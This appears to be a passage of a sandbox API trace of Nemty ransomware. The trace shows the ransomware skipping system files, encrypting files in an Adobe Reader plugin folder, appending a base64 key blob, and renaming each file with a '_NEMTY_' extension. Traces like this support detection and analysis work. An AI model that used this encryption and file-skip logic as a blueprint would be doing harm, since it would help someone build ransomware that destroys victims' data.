1 [0190.744] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.EUQ", cAlternateFileName="")) returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2=".") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="..") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="...") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="windows") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="rsa") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="NTDETECT.COM") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="ntldr") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="MSDOS.SYS") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="IO.SYS") returned -1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="boot.ini") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="boot.ini") returned 1 [0190.744] lstrcmpiW (lpString1="Flash.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="ntuser.dat") returned -1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="desktop.ini") returned 1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="CONFIG.SYS") returned 1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="RECYCLER") returned -1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="bootmgr") returned 1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="programdata") returned -1 [0190.745] lstrcmpiW (lpString1="Flash.EUQ", lpString2="appdata") returned 1 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.EUQ", lpUsedDefaultChar=0x0) returned 9 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.EUQ", lpUsedDefaultChar=0x0) returned 9 [0190.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.EUQ", lpUsedDefaultChar=0x0) returned 9 [0190.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.EUQ", lpUsedDefaultChar=0x0) returned 9 [0190.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.745] Sleep (dwMilliseconds=0x5) [0190.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25587230, dwHighDateTime=0x1d561e8)) [0190.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25587230, dwHighDateTime=0x1d561e8)) [0190.755] GetLastError () returned 0x0 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.755] GetLastError () returned 0x0 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.755] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.755] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.755] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.755] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="/r/jXDxwISqHaRtbtWweBQUk+0KqRVNAF1yPSeV64LYYTcMdo0BK/u7hz4AgS2vC\r\nyWtlVTL4907RRxbv93M4nx/+zF2JOpQR6GpP+X5jIG7VI4eDnOglR5JNsg7U1YKH\r\nXBAipIHicXHIbYYaN6PWNsoblXKwGdJmLQeoOACwtbaAIgZB5SJaPr2oybU8DI60\r\nUP5AjVwCpEq0qIHvN2fb4/pg63/m/cs9PANCfIWc3BHN3UOabhI57Xs91nRPRPv/\r\nFL/QYcjM9jdUUB8YWuKE2QWq4TzfWnQa1BihUFXO0kB537Z21La0G4VKXlv60CZc\r\ntgMyxHbbMgDkGo+MzobRcg==\r\n", pcchString=0x653e29c) returned 1 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.756] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.756] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.756] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.757] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.758] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.758] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.758] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.758] CloseHandle (hObject=0x2f0) returned 1 [0190.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.758] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq._nemty_kgobjgd_")) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.759] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.FRA", cAlternateFileName="")) returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2=".") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="..") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="...") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="windows") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="$RECYCLE.BIN") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="rsa") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="NTDETECT.COM") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="ntldr") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="MSDOS.SYS") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="IO.SYS") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="boot.ini") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="boot.ini") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="ntuser.dat") returned -1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="desktop.ini") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="CONFIG.SYS") returned 1 [0190.759] lstrcmpiW (lpString1="Flash.FRA", lpString2="RECYCLER") returned -1 [0190.760] lstrcmpiW (lpString1="Flash.FRA", lpString2="BOOTSECT.BAK") returned 1 [0190.760] lstrcmpiW (lpString1="Flash.FRA", lpString2="bootmgr") returned 1 [0190.760] lstrcmpiW (lpString1="Flash.FRA", lpString2="programdata") returned -1 [0190.760] lstrcmpiW (lpString1="Flash.FRA", lpString2="appdata") returned 1 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.FRA", lpUsedDefaultChar=0x0) returned 9 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.FRA", lpUsedDefaultChar=0x0) returned 9 [0190.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.FRA", lpUsedDefaultChar=0x0) returned 9 [0190.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.FRA", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.FRA", lpUsedDefaultChar=0x0) returned 9 [0190.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.760] Sleep (dwMilliseconds=0x5) [0190.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x255ad390, dwHighDateTime=0x1d561e8)) [0190.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x255ad390, dwHighDateTime=0x1d561e8)) [0190.779] GetLastError () returned 0x0 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.779] GetLastError () returned 0x0 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.779] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.779] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="Ww8RE6ClgTyFYg0+VugZ1qoJ3bOupKA2GcHaGbmnZ27f60smn6tmjZdOPFOA6yBN\r\nNmWHnoiC1z5LP019T+gA/QhXHqJBpWeEXyTC2mrUSybl+1HH7FEXjB9NhgtG+ZWm\r\n22akiMysV0u8FG0W6DtTpg+XKNXt/VnYHp/K2qy5Zc89101OmDBLVksDB6ahCaHA\r\n8a4epUg8wQC4It23w7CPfJgJfnU6MrNqYDvEZdQIJJO9BsGGNAWE6F6jrgFITu0u\r\nabvT5dDUw/Sh8ifwSVM+mPGnAi6UzU0VCLKSk9Ww9Jhi4Gqiq/MnytLP9pMNlQrt\r\nkLOyw4EDYB4K8zbdPcGPPw==\r\n", pcchString=0x653e29c) returned 1 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.781] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.781] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.781] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.817] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.817] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.817] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.818] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.818] CloseHandle (hObject=0x2f0) returned 1 [0190.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.818] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 